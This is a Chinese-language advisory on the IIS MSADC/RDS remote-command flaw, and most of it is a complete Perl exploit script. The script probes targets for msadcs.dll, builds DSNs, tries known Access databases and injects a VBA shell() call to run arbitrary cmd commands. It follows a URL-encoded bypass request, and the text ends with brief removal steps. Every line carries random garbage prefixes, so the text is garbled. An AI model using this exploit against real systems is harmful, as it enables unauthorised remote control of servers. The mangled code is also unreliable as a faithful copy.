IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&&PgOFD HmV />9 涉及程序:
p5<2N Microsoft NT server
r7I
B{}>- s'L?;:)dyB 描述:
(M`|'o! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8#59iQl YKs4{?vw 详细:
J&6:d 如果你没有时间读详细内容的话,就删除:
aws"3O%
uW c:\Program Files\Common Files\System\Msadc\msadcs.dll
CLN+I'uX0 有关的安全问题就没有了。
AyTx' u jTSOnF}C~+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
m mw-a0 DJP6TFT&G 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=!,Gst_ 关于利用ODBC远程漏洞的描述,请参看:
Np)aS[9W K{b-TT
4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~O4|KY @
yxt($G 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
;[6&0!N\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp eb!_ie"D 4P kfUMX 这里不再论述。
-x'e+zT G|9B)`S 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r4;Bu<PQN1 -7`-wu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
QnKC#
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!R:y'Y%j @]'SeiNp 'IQsve7cI #将下面这段保存为txt文件,然后: "perl -x 文件名"
dr})-R -G b-^G #!perl
'b[0ci: #
@@}`hii # MSADC/RDS 'usage' (aka exploit) script
$TG?4 #
AcC8)xRpk4 # by rain.forest.puppy
{}\CL#~y #
0BTLcEqgZ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>oqZ !V5[ # beta test and find errors!
T1NH eH> p&3>
`C use Socket; use Getopt::Std;
xP@/9SM getopts("e:vd:h:XR", \%args);
_ #'9kx|) +1@AGJU3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
JO1
,TtA (9GbG" if (!defined $args{h} && !defined $args{R}) {
pm]fQuq print qq~
lbkLyp2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
SrZ50Se -h <host> = host you want to scan (ip or domain)
s4,(26y -d <seconds> = delay between calls, default 1 second
$D_HZ"ytu -X = dump Index Server path table, if available
-:]@HD : -v = verbose
\ 4gXY$`@ -e = external dictionary file for step 5
:p-Y7CSSu <t}? $1 Or a -R will resume a command session
mk= #\> 3j*'HST ~; exit;}
A3s57.Z]| ~@fR[sg< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
knSuzq%* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9X]f [^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:s*>W$Wp4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
se,Z#H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4}-#mBV]/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
v~5<:0dL \cZfg%PN if (!defined $args{R}){ $ret = &has_msadc;
!Zs,-=^D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
p>p'.#M d8:C3R print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c{>|o . "cmd /c ";
e&3#2_ $in=<STDIN>; chomp $in;
F<r4CHfh; $command="cmd /c " . $in ;
k/#>S*Ne c]v
+ if (defined $args{R}) {&load; exit;}
@^CG[:| ,qy&|4Jz print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oT->^4WY &try_btcustmr;
rzV"Dm$' 7) 0q--B print "\nStep 2: Trying to make our own DSN...";
/=ylQn3
* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
BXA]9eK
k7Oy5$## print "\nStep 3: Trying known DSNs...";
J @B4
R&V &known_dsn;
) `I=oB 4$Pr|gx print "\nStep 4: Trying known .mdbs...";
Qa?aL &known_mdb;
}vD;DSz: *?N<S$m if (defined $args{e}){
(1 yGg==W. print "\nStep 5: Trying dictionary of DSN names...";
U Um|@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T} 8CfG_j oKiD8': print "Sorry Charley...maybe next time?\n";
PP-kz;| exit;
\`gEu{ D3.VXuKn6 ##############################################################################
M=+M8M`Iy oCA(FQ6 sub sendraw { # ripped and modded from whisker
(}0S1)7t sleep($delay); # it's a DoS on the server! At least on mine...
6Ahr_{ my ($pstr)=@_;
ee<H@LeG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GZ"/k<~0 die("Socket problems\n");
9K$]h2 if(connect(S,pack "SnA4x8",2,80,$target)){
yoW>
BX select(S); $|=1;
v= 8VvT8 print $pstr; my @in=<S>;
ai^t=
s select(STDOUT); close(S);
%
$.vOFP9 return @in;
>13/h]3 } else { die("Can't connect...\n"); }}
4k$0CbHx0 H ;wR ##############################################################################
M8_ R %`oHemSy sub make_header { # make the HTTP request
Nm"<!a<F my $msadc=<<EOT
InN{^uN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9m~t
j_ User-Agent: ACTIVEDATA
to51hjV Host: $ip
g? I!OG Content-Length: $clen
SS0_P
jKz Connection: Keep-Alive
<S{7Ro TZBVU&,{Z ADCClientVersion:01.06
7vq
DZg Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V" }*"P-% R9r)C{63S& --!ADM!ROX!YOUR!WORLD!
ki4Xp'IK Content-Type: application/x-varg
N-Z^G<[q. Content-Length: $reqlen
HT-PWk>2 sL8>GtVo EOT
VH<e))5C ; $msadc=~s/\n/\r\n/g;
)r pD2H return $msadc;}
F;W' l{QC}{Ejc2 ##############################################################################
~.H~XKw u]SZ{[e sub make_req { # make the RDS request
zQt1;bo my ($switch, $p1, $p2)=@_;
>'.[G:b my $req=""; my $t1, $t2, $query, $dsn;
[!Ao,rt?Vg k|5k8CRX if ($switch==1){ # this is the btcustmr.mdb query
c l9$g7 $query="Select * from Customers where City=" . make_shell();
nAvs~J $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
pSXEJ 2k $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
df yrn%^Ia :U8k|,~f elsif ($switch==2){ # this is general make table query
>-eS&rma $query="create table AZZ (B int, C varchar(10))";
xlk5Gob* $dsn="$p1";}
:S#i9# aB ] .`_,
IO elsif ($switch==3){ # this is general exploit table query
r;$r=Uf r $query="select * from AZZ where C=" . make_shell();
IBDVFA $dsn="$p1";}
lj
Y C,(j$Id elsif ($switch==4){ # attempt to hork file info from index server
C&e8a9*,(a $query="select path from scope()";
w~p4S+k& $dsn="Provider=MSIDXS;";}
zv,\@Z9.($ +~:x}QwGT elsif ($switch==5){ # bad query
lqauk)(A0 $query="select";
y=wdR|b $dsn="$p1";}
51z / _E&U?>g+ $t1= make_unicode($query);
x!>d
6lgej $t2= make_unicode($dsn);
:)j7U3u $req = "\x02\x00\x03\x00";
YN$`y1V $req.= "\x08\x00" . pack ("S1", length($t1));
k~& o $req.= "\x00\x00" . $t1 ;
KoFv0~8Q $req.= "\x08\x00" . pack ("S1", length($t2));
";o~&8?) $req.= "\x00\x00" . $t2 ;
\_?yzgf $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p?}&)Un return $req;}
|I(%7K Nz}|%.GP" ##############################################################################
4bE42c=Ca7 z"9aAytd sub make_shell { # this makes the shell() statement
<Nvlk\LQ return "'|shell(\"$command\")|'";}
&&ja|o- *Gf&q ##############################################################################
xNn>+J <. ezw4ju sub make_unicode { # quick little function to convert to unicode
.iN-4"_j1 my ($in)=@_; my $out;
av"Dljc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
x-tm[x@;o return $out;}
LE<:.?<Z-
hZ%2?v` ##############################################################################
/@6E3lhS y/z9Ce*> sub rdo_success { # checks for RDO return success (this is kludge)
ZBPd(;"x+ my (@in) = @_; my $base=content_start(@in);
U<K|jsFo if($in[$base]=~/multipart\/mixed/){
'W}~)+zK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(\T8!s{AO return 0;}
\dC.%# ?0? x+ ##############################################################################
v`@5enr 6\%r6_.d sub make_dsn { # this makes a DSN for us
y?[5jL|Ue my @drives=("c","d","e","f");
}_Tt1iai* print "\nMaking DSN: ";
^-
u[q-
! foreach $drive (@drives) {
lO%MyP print "$drive: ";
~JAH-R my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
LZgwIMd "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(7M^-_q]D . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
PWADbu{+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+8L(pMI4 return 0 if $2 eq "404"; # not found/doesn't exist
AN|jFSQ' if($2 eq "200") {
.CIbpV?T foreach $line (@results) {
45]Ym{] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;D%$Eh&oma } return 0;}
3?a0
+] Z'7 c^c7_ ##############################################################################
#j(q/
T{x } S'I
DHla sub verify_exists {
<B|n<R<? my ($page)=@_;
hY\Eh. my @results=sendraw("GET $page HTTP/1.0\n\n");
/vFxVBX return $results[0];}
=NVZ$K OZ ?^+#pcX]t| ##############################################################################
Xq=!"E WLg6-@kxXs sub try_btcustmr {
jKY Aid{- my @drives=("c","d","e","f");
$Uv<LVd( my @dirs=("winnt","winnt35","winnt351","win","windows");
f;@b
a[ .FfwY 'V foreach $dir (@dirs) {
B|Rpm^| print "$dir -> "; # fun status so you can see progress
3&drof\{ foreach $drive (@drives) {
@p9e:[ print "$drive: "; # ditto
ZuF4N=; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,d9%Ce.$2 $reqlenlen=length( "$reqlen" );
,H#qgnp $clen= 206 + $reqlenlen + $reqlen;
!`O_VV`/@ ZNL;8sI?> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
89:?.' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
u8{@PlS else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W<cW;mO
Ee$"O6*! ##############################################################################
hJ$C%1; thlpj*| sub odbc_error {
L.I}-n my (@in)=@_; my $base;
bJG!)3cx my $base = content_start(@in);
Cn6n4, 0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5'{qEZs^QU $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~vjr;a(B $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s)o,Fi $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8;+Hou return $in[$base+4].$in[$base+5].$in[$base+6];}
web8QzLLB print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
WacU@L $A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7(+OsE $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Eezlx9b -Fok%iQ'5 ##############################################################################
AK*mcTr + hyWo]nW0 sub verbose {
1"4nmw} my ($in)=@_;
`DWi4y7 return if !$verbose;
ZB_16&2Ow print STDOUT "\n$in\n";}
%Zv(gI`A H>X\C;X[
##############################################################################
cciAMQhA !e#I4,f n sub save {
Ck/_UY| my ($p1, $p2, $p3, $p4)=@_;
`1[Sv" open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@dT: 1s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
v,!Y=8~9 close OUT;}
g.`t!6Hc tmY-m,U ##############################################################################
:UJUh/U _?(hWC"0 sub load {
faL^=CAe my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S'%cf7Z open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[ilv/V< @p=<IN>; close(IN);
Z.Y;[Y
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"e7$q&R
| $target= inet_aton($ip) || die("inet_aton problems");
.^N#|hp^ print "Resuming to $ip ...";
1VyO?KX' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
9^
*ZH1 if($p[1]==1) {
1A/c/iC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)zL"r8si $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|>/&EElD my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s>M~g,xTU if (rdo_success(@results)){print "Success!\n";}
7L~ zI>2 else { print "failed\n"; verbose(odbc_error(@results));}}
nGJIjo_I elsif ($p[1]==3){
$vbAcWj if(run_query("$p[3]")){
A*26' print "Success!\n";} else { print "failed\n"; }}
j2{,1h j elsif ($p[1]==4){
UN
.[,%<s if(run_query($drvst . "$p[3]")){
VjB`~ print "Success!\n"; } else { print "failed\n"; }}
^* /v,+01f exit;}
aa YQ< 7^t(RNq ##############################################################################
'*LN)E>d
3NxaOO` sub create_table {
Hb AMoow! my ($in)=@_;
M?4r 5R $reqlen=length( make_req(2,$in,"") ) - 28;
HfeflGme* $reqlenlen=length( "$reqlen" );
";Ig%] $clen= 206 + $reqlenlen + $reqlen;
8.3_Wb(c my @results=sendraw(make_header() . make_req(2,$in,""));
W!4V:(T return 1 if rdo_success(@results);
\|>`z,; my $temp= odbc_error(@results); verbose($temp);
R#Nd|f< return 1 if $temp=~/Table 'AZZ' already exists/;
/%q9hI return 0;}
~ew**@N 5bznM[%xO ##############################################################################
D15u1A N5an9r&z(1 sub known_dsn {
NUNn[c # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
'hi\98y my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Lvj5<4h; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
rs<&x(=Hv "banner", "banners", "ads", "ADCDemo", "ADCTest");
16> >4U:Y qfH~h g foreach $dSn (@dsns) {
Qx,$)|_ print ".";
llG#nDe next if (!is_access("DSN=$dSn"));
#m$% S%s if(create_table("DSN=$dSn")){
a&c#* 9t{ print "$dSn successful\n";
w{O3P"N2 if(run_query("DSN=$dSn")){
z&vms print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1o8"==n% print "Something's borked. Use verbose next time\n";}}} print "\n";}
~$ qJw?r
0V,MDX}#_ ##############################################################################
+G[HZ,FL ST8/
;S#c
sub is_access {
Jx>B %vZ\ my ($in)=@_;
<^'+]? $reqlen=length( make_req(5,$in,"") ) - 28;
CU`Oc>;*T $reqlenlen=length( "$reqlen" );
Tl7:}X<? $clen= 206 + $reqlenlen + $reqlen;
?uX6X'- my @results=sendraw(make_header() . make_req(5,$in,""));
K2MNaB my $temp= odbc_error(@results);
c@#zjJhW] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v4##(~Tu return 0;}
o3=S<|V qe"6#@b *| ##############################################################################
W#_gvW & c9Fw:f; sub run_query {
Wk6&TrWlY my ($in)=@_;
{ro!OuA $reqlen=length( make_req(3,$in,"") ) - 28;
O8N0 ]Mz $reqlenlen=length( "$reqlen" );
AG\852`1m $clen= 206 + $reqlenlen + $reqlen;
`"": my @results=sendraw(make_header() . make_req(3,$in,""));
0@x$Cp return 1 if rdo_success(@results);
y$9t!cx my $temp= odbc_error(@results); verbose($temp);
G/3lX^Z> return 0;}
]JPPL4wAT )[X!/KR90 ##############################################################################
&Wz:-G7<n E/P53CD sub known_mdb {
?F!J@Xn5 my @drives=("c","d","e","f","g");
35kbE' my @dirs=("winnt","winnt35","winnt351","win","windows");
;~$ $WU my $dir, $drive, $mdb;
RW[<e my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cE>/iZc PxD}j
2Kd # this is sparse, because I don't know of many
"(&`muIc my @sysmdbs=( "\\catroot\\icatalog.mdb",
&:f'{>3z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
f_2^PF>? "\\system32\\certmdb.mdb",
@5V Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Prx s2 i 8 .+o> my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
\1'R}B@; "\\cfusion\\cfapps\\forums\\forums_.mdb",
QjN3j*@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
'wV26Dm "\\cfusion\\cfapps\\security\\realm_.mdb",
PH!B /D5G "\\cfusion\\cfapps\\security\\data\\realm.mdb",
vUx$[/< "\\cfusion\\database\\cfexamples.mdb",
jV&W[xKa "\\cfusion\\database\\cfsnippets.mdb",
> 0)`uJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
M|=$~@9#X "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>Mw =}g@P "\\cfusion\\brighttiger\\database\\cleam.mdb",
\JC(pn "\\cfusion\\database\\smpolicy.mdb",
Cy'W!qH "\\cfusion\\database\cypress.mdb",
Z*"t]L "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
l<_mag/j9o "\\website\\cgi-win\\dbsample.mdb",
.h^Ld,Chj "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
luog_;{h+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
HTpd~W/\ ); #these are just
([o:_5/8I foreach $drive (@drives) {
jt?%03iuk foreach $dir (@dirs){
)?y"NVc* foreach $mdb (@sysmdbs) {
GhA~Pj ZS print ".";
6.=1k if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LgKEg90w( print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}kefrT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Qnh1su5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ED&KJnquWJ } else { print "Something's borked. Use verbose next time\n"; }}}}}
uW_ /7ex NZ9,9 foreach $drive (@drives) {
o;/F=Zp foreach $mdb (@mdbs) {
w*@Z-'(j print ".";
)@M|YM1+ if(create_table($drv . $drive . $dir . $mdb)){
~3]8f0^%m print "\n" . $drive . $dir . $mdb . " successful\n";
I@v.Hqg+7 if(run_query($drv . $drive . $dir . $mdb)){
tvCTC ey print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`P*j~ZLlXN } else { print "Something's borked. Use verbose next time\n"; }}}}
(XWs4R.mkb }
aKcV39brr [/]3:| ##############################################################################
#2,L)E\G8e J3^Ir [ sub hork_idx {
C,.{y`s' print "\nAttempting to dump Index Server tables...\n";
-W vAmi print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^T>.04";x $reqlen=length( make_req(4,"","") ) - 28;
THZ3%o=X $reqlenlen=length( "$reqlen" );
obGSc)?j $clen= 206 + $reqlenlen + $reqlen;
l).Ijl}AH; my @results=sendraw2(make_header() . make_req(4,"",""));
izA3 INT if (rdo_success(@results)){
tF(mD=[ my $max=@results; my $c; my %d;
roQIP%h! for($c=19; $c<$max; $c++){
8yl/!O,v $results[$c]=~s/\x00//g;
oaE3Aa $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
JOk`emle $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B9\o:eY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:{<HiJdp $d{"$1$2"}="";}
${3OQG foreach $c (keys %d){ print "$c\n"; }
><^@1z.J } else {print "Index server doesn't seem to be installed.\n"; }}
vkLG<Y ['j,S<Bu~ ##############################################################################
G&-h,"yo^ &*~
WK sub dsn_dict {
D1 z3E;: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
H*IoJL6 while(<IN>){
/8R1$7 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
FT6cOMu next if (!is_access("DSN=$dSn"));
z/=v@@tj if(create_table("DSN=$dSn")){
[g_@<?zg print "$dSn successful\n";
4B]a8 if(run_query("DSN=$dSn")){
n\4+xZr print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
DTY=k print "Something's borked. Use verbose next time\n";}}}
C+j+q648> print "\n"; close(IN);}
AF}HS8eYy Ws(>}
qjy ##############################################################################
),eiJblH 2o;M:+KQ) sub sendraw2 { # ripped and modded from whisker
tuSgh! sleep($delay); # it's a DoS on the server! At least on mine...
R<)uvW_@ my ($pstr)=@_;
AJ /_l; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t30V_`eQ die("Socket problems\n");
Z8W<RiR if(connect(S,pack "SnA4x8",2,80,$target)){
$) $sApB print "Connected. Getting data";
Ho/5e*X open(OUT,">raw.out"); my @in;
o2L/8q. select(S); $|=1; print $pstr;
5P4>xv[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
n8Fi?/ close(OUT); select(STDOUT); close(S); return @in;
8V nZ@* } else { die("Can't connect...\n"); }}
ZO~N|s6B^ E =E ##############################################################################
aw`mB,5U 8b/yT4f sub content_start { # this will take in the server headers
Y!H"LI my (@in)=@_; my $c;
q0}LfXql8 for ($c=1;$c<500;$c++) {
wJ}8y4O!N if($in[$c] =~/^\x0d\x0a/){
~kL":C>2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
UkUdpZ.[il else { return $c+1; }}}
%<klz)!t return -1;} # it should never get here actually
wRKGJ b4Z#]o ##############################################################################
vgV0a{u" ,SBL~JJ sub funky {
`CV a`% my (@in)=@_; my $error=odbc_error(@in);
Vj_
$%0 if($error=~/ADO could not find the specified provider/){
3,GSBiK3} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6^p6v exit;}
JS4pJe\q if($error=~/A Handler is required/){
4):\,>%pK print "\nServer has custom handler filters (they most likely are patched)\n";
Z^sO`C exit;}
.{6TX"M if($error=~/specified Handler has denied Access/){
J[9jNCq| print "\nServer has custom handler filters (they most likely are patched)\n";
4CDmq[AVS[ exit;}}
)2a!EEHz Y$N|p{Z ##############################################################################
C'{Z?M> } nQHP4' sub has_msadc {
Dv$xP)./ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]xuq2MU,l my $base=content_start(@results);
)%Y$FLB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.AKx8=f return 0;}
U-k6ZV3&8 A/'G.H ########################
?&?y-&.5- 7n#0eska, j@9A!5<CCk 解决方案:
FrB19 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
e Q0bx& 2、移除web 目录: /msadc